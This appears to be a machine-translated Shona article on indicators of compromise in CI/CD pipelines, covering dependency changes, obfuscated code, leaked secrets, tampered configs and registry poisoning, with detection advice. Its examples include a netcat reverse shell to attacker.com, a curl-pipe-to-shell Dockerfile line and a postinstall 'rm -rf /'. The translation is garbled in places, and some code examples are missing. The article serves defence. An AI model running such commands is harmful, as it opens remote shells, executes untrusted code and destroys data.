Nhanganyaya: Ndezvipi Zviratidzo zveKubvumirana muKuchengetedzwa kweIndaneti?
Zviratidzo zvekubvumirana ndizvo zviratidzo zvekutanga zvekuyambira kuti system yako kana kuti pipeline zvinogona kurwiswa. Nemashoko akareruka, zviratidzo zvekubvumirana zviratidzo zvakasiyiwa nevapambi, sezvinoshamisa logins, kuchinja mafaira, kana malware yakavanzwa. Mu Kuchengetedzwa kwepamhepo kweIOC, zvinoita sezvigunwe zveminwe panzvimbo yemhosva, zvichikupa humbowo hwakajeka hwekuti pane chakaipa. Saka, kana vagadziri vemapurogiramu vakabvunza Ndezvipi zviratidzo zvekubvumiranaMhinduro yacho haisi kungori pamaseva kana mafirewall chete, asi inosanganisirawo njodzi dzakavanzwa mumazuva ano. CI/CD pipelines.
Mune izvi pipelines, vapambi vanogona kukanganisa kodhi, kuisa zvinhu zvinokanganisa, kana kuchinja matanho ekuvaka vasingaonekwe. Zvisinei, vatungamiriri vazhinji vachiri kungotarisa pamaseva kana network chete. Nekuda kweizvozvo, cheni yekugovera software yave imwe yezvinangwa zviri nyore.
Ndosaka kuwana zviratidzo zvekubvumirana mune CI/CD pipelines inokosha. Kupfuura zvese, inobatsira mapoka kudzivirira malware, kuchengetedza zvakavanzika, uye kuchengetedza nhanho yega yega yekutumira software.
Zviratidzo gumi zvepamusoro zveKubvumirana mu CI/CD Pipelines
Pakutsanangura zviratidzo zvekubvumirana, runyorwa rwakawanda runotarisa pamaseva kana network. Asi mu CI/CD pipelines, varwisi vanosiya zvigunwe zvakasiyana-siyana. Kuziva zviratidzo izvi kwakakosha pakudzivirira nekukurumidza. Pazasi pane zviratidzo gumi zvekuchengetedzwa kwemakombiyuta zveIOC izvo mugadziri wemakombiyuta neinjiniya wekuchengetedza vanofanirwa kutarisa.
1. Kuchinja Kwekuvimba Nevamwe Kunofungirwa
Chimwe chezviratidzo zvikuru zvekubvumirana mune pipelines inguva pfupi, isingawanzoitika yekutsamira pakushandisa. Varwisi vanowanzo shandisa nzvimbo yevagadziri vekuvimba mumapakeji managers kuti vawedzere mapakeji ane njodzi.
Semuenzaniso, muna npm a package.json diff inogona kungoerekana yasanganisira:
Kuchinja kwakadaro kunogona kuita sekunge kwakachengeteka asi kunogona kuisa kodhi yetrojanised mune yega yega yakagadzirwa.
Impact: zvivakwa zvakakanganiswa zvinogara nhaka malware panobva.
Kuwanikwa: shandisai ongororo dzekuvimbika, teverai lockfile inosiyana, uye skanai mapakeji matsva nguva dzese.
2. Kodhi Yakavanzika muBuilds
Vanyori vemalware vanovimba nekusanzwisisika kuti vasaongorore. Nekuda kweizvozvo, chiratidzo ichi chekubvumirana mune CI/CD pipelines inogona kuva imwe yedzakaoma kubata. Kutaura zvazviri, mitoro isina kujeka inowanzoiswa mumaraibhurari emahara kana mifananidzo yemakontena pasina chiziviso.
Semuyenzaniso:
- Pakeji yePyPI inoshandisa
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Mufananidzo weDocker wakazara nemaUPX binaries asingadiwi.
- JavaScript yakazara ne
\x41\x42anotiza kuviga vanhu vanoba zvitupa.
Impact: Kodhi yakavanzika inoita chinyararire panguva yekuvaka kana kumhanya, izvo zvinoita kuti izvi zvive chiratidzo chakakosha mukuchengetedzwa kwemakombiyuta muIOC.
Kuwanikwa: Gadzirai SAST ne malware scanning kuti iratidze kodhi yakanyorwa kana kuti yakarongedzwa. Pamusoro pezvose, tora kuvharika sechiratidzo chitsvuku chinofanira kuongororwa zvakanyanya.
3. Zvakavanzika Zvinoratidzwa muGit: Njodzi Yekuchengetedzwa Kwemakombiyuta yeIOC Yekare
CI/CD pipelines dzinowanzogara nhaka zvakavanzika zvakananga kubva mumabhuku. Zvisinei, kana zvakavanzika zvikaonekwa muGit, zvinova imwe yemhinduro dzakajeka kumubvunzo wekuti "ndezvipi zviratidzo zvekubvumirana mune pipelines?” Kana zvitupa zvasvika muGit, varwisi vanogona kuzvishandisa nekusingaperi.
Semuyenzaniso:
- A
.envfaira rineAWS_SECRET_KEY=. - Zviratidzo zvakaiswa mukati
config.json. - Zvakavanzika zvichiri kuoneka munhoroondo yeGit kunyangwe mushure mekubviswa.
Impact: Makiyi akavhurika anopa varwi mukana wekupinda zvakananga CI/CD pipelines, masisitimu egore, kana madhatabhesi. Saka ichi chimwe chezviratidzo zvine njodzi zvikuru zvekubvumirana.
Kuwanikwa: shandisa pre-commit hooks uye mabasa eCI ekuskena pachivande, uye bvisa makiyi akaburitswa nekukasika. Pamusoro pezvo, shandisa nzira dzekugadzirisa otomatiki kuderedza mahwindo anosangana nenjodzi.
4. Kukanganiswa Pipeline Magadzirirwo: Zviratidzo Zvakavanzika zveKubvumirana
Pipeline configs zvinangwa zvakakosha nekuti Kuchinja kamwe chete kunowanzo kanganisa basa reseNekuda kweizvozvo, zvakakanganiswa pipeline Mafaira injodzi huru yekuchengetedzwa kwemakombiyuta muIOC iyo maturusi ekuongorora echinyakare asingawanzoonekwe.
Semuyenzaniso:
Muzviito zveGitHub:
- MuGitLab: basa rakaipa rakawedzerwa ku
.gitlab-ci.ymliyo inorasa ruzivo rwakakosha. - MuJenkins:
sh "nc -e /bin/bash attacker.com 4444".
Impact: Shanduko idzi dzisina kubvumidzwa dzinoita kuti pipeline kupinda muchivande chekupedzisira chevanorwisa, izvo zvinoonekwa sechiratidzo chekubvumirana.
Kuwanikwa: Simbisai magadzirirwo akasainwa, bvumirai PR, uye tarisai mabasa asingatarisirwi. Pamusoro pezvo, gadzirisai guardrails izvo zvinovhara otomatiki mashandiro akachinjwa.
5. Ropafadzo IaC Zvisizvo
Tsanangudzo dzisina kugadziriswa zvakanaka dzezvivakwa dzinowanzoita kuti pave nedambudziko rekumashure rakavanzika. Nekuda kweizvozvo, zvikanganiso zvepamutemo mu IaC injodzi yekuchengetedzwa kwemakombiyuta yeIOC.
Semuyenzaniso:
- Kubernetes deployment allowing pods
privileged: true. - Machati eHelm anoratidza masevhisi ane
0.0.0.0:22.
Impact: Varwisi vanowana mukana wekupinda kana kuti vanofumura mabasa emukati mevanhu pachena. Nekuda kweizvozvo, matambudziko aya anowedzera mukana wekurwiswa zvakanyanya.
Kuwanikwa: Shandisa IaC kuongorora kuti isimbise ropafadzo shoma usati wabatanidza. Pamusoro pezvo, iva nechokwadi chekuti magadzirirwo ese aongororwa sechikamu che pipeline.
6. Maitiro Ekuvaka Asina Kunaka
Varwisi vanowanzochinja pipeline maitiro ekuwira muzviito zvakaipa. Nemamwe mashoko, chiitiko chisina kujairika chekuvaka ndeimwe yemhinduro dzakajeka dzezviratidzo zvekubvumirana mune CI/CD pipelines.
Semuyenzaniso:
- Inovaka ichiita zvikumbiro zve network zvinobuda kune mamwe ma domain asinganzwisisike.
- Purojekiti yeNode.js yakangoerekana yatanga PowerShell panguva
npm install. - Basa reCI rekudhawunirodha ma binary makuru asina kutsanangurwa muma build scripts.
Impact: Zvivakwa zvakakanganiswa zvinogona kushanda senzvimbo dzekugovera malware. Kupfuura zvese, zvinoparadzira mitoro yakaipa pane yega yega yakaiswa.
Kuwanikwa: Tarisa magwaro ekuvaka kana maitiro asingatarisirwi kana kubatana. Uyezve, gadzira kuona zvinhu zvisina kujairika kuti uratidze maitiro asiri enguva dzose.
7. Mapepa eMapuritsi Anokuvadza seNjodzi dzeIOC dzeCybersecurity
Vatariri vemapakeji vanotsigira kutenderera kwehupenyu hooks Zvinoshandiswa nevapambi. Saka, zvinyorwa zvine hutsinye mu npm, PyPI, kana Dockerfiles zviratidzo zvakasimba zvekubvumirana.
Semuyenzaniso:
- npm:
postinstallchinyorwa chiri kushandarm -rf /kana kupenya kuC2. - PyPI:
setup.pykuita kodhi yePython yakavanzika pakuisa. - Dockerfile:
RUN curl attacker.sh | sh.
Impact: Kurwiswa uku kunoitika panguva yekuisa, usati waedza chero nguva yekumhanya. Nekuda kweizvozvo, vagadziri vanogona kusambozviona kusvika zvanyanya kunonoka.
Kuwanikwa: Skena manifest epakeji kuti uwane ma install scripts. Pamusoro pezvo, dzora njodzi hooks in CI/CD mabasa ekuderedza kusvibiswa.
8. Zviratidzo zveKukonzera Chepfu muRegistry
Varwisi vanotsiva kana kugadzirisa zvinhu zviri mumarejista, uye zviitiko izvi mienzaniso yezvinyorwa zvinoratidza zviratidzo zvekusagadzikana mukutengesa zvinhu pipelines.
Semuyenzaniso:
- Chikwangwani chemufananidzo weDocker chakagadziridzwa chinyararire chine jira rakaiswa mu trojani.
- Pakeji yemukati yakatsiviwa neshanduro ine chepfu.
- npm namespace squatting, zvakaita se
lodash-proxy.
Impact: Chivako chega chega chinoshandisa rejista chinokanganisa. Kwete izvozvo chete, asi zvikanganiso zvinopararira kune masevhisi anotevera.
Kuwanikwa: Simbisai kutariswa kwekusainwa uye kuvimbika kwezvinyorwa zvese zverejistri. Pamusoro pezvo, teverai kwakabva zvinhu zvechinyakare ne SBOM kusimbiswa.
9. Mabasa Emushandisi Asina Kunaka Sehumbowo hweIOC
Nhoroondo dzisina kunaka nguva dzose dzinosiya zviratidzo zvisina kujairika. Saka, maitiro asina kujairika evagadziri chiratidzo chakasimba chekubvumirana.
Semuyenzaniso:
- Commityakasundirwa na3 AM nguva yemuno.
- Kubvumidzwa kwePR nemaakaundi pazororo.
- Pipelines inokonzereswa nekuwanda kusingawanzoitiki.
Impact: Varwi vanoshandisa zvitupa zvakabiwa zvisina kunaka kuti vagadzire shanduko dzine njodzi. Pamusoro pezvose, vasina mvumo commits zvinosanganiswa zviri nyore kuita mabasa akajairwa.
Kuwanikwa: tarisisa SCM zviitiko zvezvisina kujairika, shandisa MFA, uye tenderera ma token nguva nenguva. Pamusoro pezvo, chenjerera kana paine zvinofungidzika commit kana maitiro ekubvumidza.
10. Kukundikana Kuvimbika kana Kuongororwa Kwemasaini muIOC Cybersecurity
Chinhu chinowanzoitika asi chisingatariswi chiratidzo chekubvumirana kuongororwa kwekuvimbika kana siginecha kwakundikana. Mukuchengetedzwa kwemakombiyuta kweIOC, kuongororwa uku kunoratidza kuti kodhi kana zvinhu zvakagadzirwa ndezvechokwadi. Kuzvisiya zvinosiya pipelinezviri pachena.
mienzaniso:
- Hash yeSHA256 isingaenderane nechecksum inotarisirwa.
- Saini yeGPG isipo kana kuti isiriyo.
- An SBOM zvichiratidza zvinhu zvisina kusainirwa.
Impact: Kukundikana kuvimbika kunowanzoreva kutambisa, kuchetura mu registry, kana kuisirwa malware.
Kuwanikwa: Otomatiki macheki echisiginicha, simbisa kusimbiswa kwechecksum, uye vhara zvikamu zvisina kusaina. Pamusoro pezvose, tora cheki yega yega yakundikana sehumbowo hwakajeka hwekubvumirana.
CI/CD Zviratidzo zveKubvumirana Pamwe Chete
| Chiratidzo cheKubvumirana (IOC) | Impact in CI/CD Pipelines | Maitiro Ekuona |
|---|---|---|
| Kuchinja Kwekuvimba Kunofungirwa | Varwisi vanoisa maraibhurari ane njodzi mumapakeji, zvichikonzera kuti pave nehurongwa hwakakanganisika. | Tevedzera lockfile inosiyana, simbisa ongororo dzekuvimbika, uye tarisa zvinoenderana nguva dzose. |
| Kodhi Yakavanzika muBuilds | Mitoro yakavanzwa inoburitswa panguva yekuvaka kana kuti nguva yekumhanya isina kuonekwa. | shandisa SAST uye kuongorora malware kuti iratidze ma "base64", "hex", kana "packed code patterns". |
| Zvakavanzika Zvakafumurwa muGit | Matokeni akaburitswa kana makiyi eAPI anopa varwi mukana wekupinda zvakananga kumasisitimu akakosha. | Mhanya scan dzakavanzika muGit hooks uye kubvisa zvitupa zvakaburitswa otomatiki. |
| Tampered Pipeline Configurations | Maitiro ekushanda akagadziridzwa anobvumira kuburitswa kwedata kana kuramba kuripo mukati CI/CD. | Inoda mvumo yePR, kusimbisa magadzirirwo akasainwa, uye kutarisa pipeline kuchinja. |
| Ropafadzo IaC Zvisizvo | Mabasa ekubvumidza zvakanyanya kana kusachengeteka kwemaitiro anokonzeresa mamiriro ekunze mumakore. | Skena mafaira eTerraform, Kubernetes, uye Helm kuti uone kana paine ropafadzo shoma. |
| Maitiro Ekuvaka Asina Kujairika | PipelineInoshandiswa senzvimbo dzekugovera malware kana kufamba kwedivi. | Ongorora magwaro ekuvaka kuti uone kana uchida kudhawunirodha, maitiro, kana mafoni ekubuda asingatarisirwi. |
| Zvinyorwa zveMapakeji Anokuvadza | Zvinyorwa zvakavanzika zvisati zvaiswa/zvapera zvinokonzeresa kubhadharwa kwemari usati watanga kuyedzwa. | Vimba zvinyorwa zvine njodzi zve npm/PyPI uye udzivise kuitwa mukati CI/CD jobs. |
| Chepfu yeRegistry | Zvinhu zvakagadzirwa neTrojan zvinotsiva mifananidzo yakavimbika kana kuti binary mumabhuku ekunyoresa. | Simbisa macheki, simbisa kusimbiswa kwesiginecha, uye skena marejistri nekukurumidza. |
| Zviitiko zveMushandisi Zvisingawanzoitiki | Maakaundi asina kunaka anokonzera njodzi commits kana kuti chikonzeri pipelines. | Simbisa MFA, tarisa commits yezvinokanganisika, uye ongorora login maitiro. |
| Kukundikana Kuvimbika kana Kuongororwa Kwemasaini | Inoratidza kodhi yakakanganiswa, zvinoenderana, kana mifananidzo inopinda mu pipeline. | Otomatiki tarisa kuvimbika uye vhara zvinhu zvisina kusaina kana kusaenderana. |
Nei Tsika dzeIOC dzeCybersecurity Dzisingashande CI/CD ngozi
Masangano mazhinji atove achitarisa zviratidzo zvekusawirirana pamaseva, makomputa, kana network. Zvisinei, nzira iyi yekare yeIOC cybersecurity haiteereri CI/CD pipelines, iyo yava imwe yenzvimbo dzinonyanya kurwiswa zvakanyanya. Kutaura zvazviri, pipelines dzinoratidza zviratidzo zvakasiyana zvekubvumirana izvo zvishandiso zvechinyakare zvisingagoni kuona.
Zviratidzo zveKubvumirana muKuchengetedzwa Kwetsika
Mukuchengetedzwa kwemakombiyuta kweIOC, chinangwa chinowanzo kuve pane:
- kujairika logins kana kero dze IP dzinoratidza zvitupa zvakabiwa.
- Mafaira ane hashes kana shanduko dzeregistry dzinoratidza malware.
- Kufamba kwedata kusingatarisirwi kunonongedzera kuburitswa kwedata.
Izvi zviratidzo zvinozivikanwa zvakare zvinoteverwa mu MITER ATT & CK chimiro, iyo inoratidza maitiro nemaitiro evavengi vakajairika. Aya masaini anobatsira. Zvisinei, anonyanya kushanda kumasisitimu ekushanda kana network dzemakambani. Nekuda kweizvozvo, vanorasikirwa nekutapukirwa kudiki kunoitika pakutanga kwecheni yekugovera software.
Sei CI/CD Pipelines Vakasiyana
CI/CD pipelines inzvimbo dzinozviitira dzoga uko vagadziri commit kodhi, kudhonza zvinoenderana, uye kuburitsa zvinhu. Varwi vanoziva kuti kubvumirana kumwe chete pano kunoitika pane zvese zvinoiswa. Saka, chii chinoratidza kubvumirana mune CI/CD pipelineZvinotaridzika zvakasiyana zvikuru:
- Kuvimba kwakaipa kwakawedzerwa chinyararire ku package.json kana requirements.txt.
- Makiyi eAPI kana tokeni dzakaratidzwa muGit commits kana mafaira e .env.
- Kodhi yakavanzika yakaiswa mumapakeji eNPM kana PyPI.
- Mafaira eTerraform kana Kubernetes ane defaults dzisina kuchengetedzeka senge ropafadzo: true.
- Pipeline mabasa akagadziriswa kuti abudise data kana kuvhura masuo ekumashure.
Zviratidzo izvi zvekubvumirana zviri pachena CI/CD kusaonekwa standard zvishandiso zvekuchengetedza.
Musiyano uripo mukuchengetedzwa kwemakombiyuta muIOC
Kunyangwe zvikwata zvakawanda zvichinzwisisa kukosha kwezviratidzo zvekubvumirana, zvichiri kungovimba chete nekuona kubva kumaseva uye ma network logs. Nokudaro, varwisi vanogona kukuvadza kana kuisa malware vasingasiye zviratidzo zvemazuva ese. Ndokusaka zviitiko zvakaita se XZ Utils backdoor kana maniac npm package zvisina kuonekwa kusvika zvasvika pakugadzirwa.
Mhando idzi dzezvibvumirano zvekutengesa zvinhu zvinoratidzwawo ne CISGwaro rekuchengetedza cheni yezvekutengesa yeA's, iyo inonyevera kuti varwisi vanowedzera kunanga CI/CD pipelines uye marejistri.
The Takeaway
Kuchengetedzwa kwemakombiyuta kwetsika dzeIOC kwakakosha asi hakuna kukwana. Kupfuura zvose, mapoka anofanira kuziva zviratidzo zvekubvumirana zvakanangana ne CI/CD pipelines. Ndipo chete pavanogona kuona kodhi yakaipa kana pipeline kushungurudzwa kusati kwapararira munzvimbo dzakasiyana-siyana.
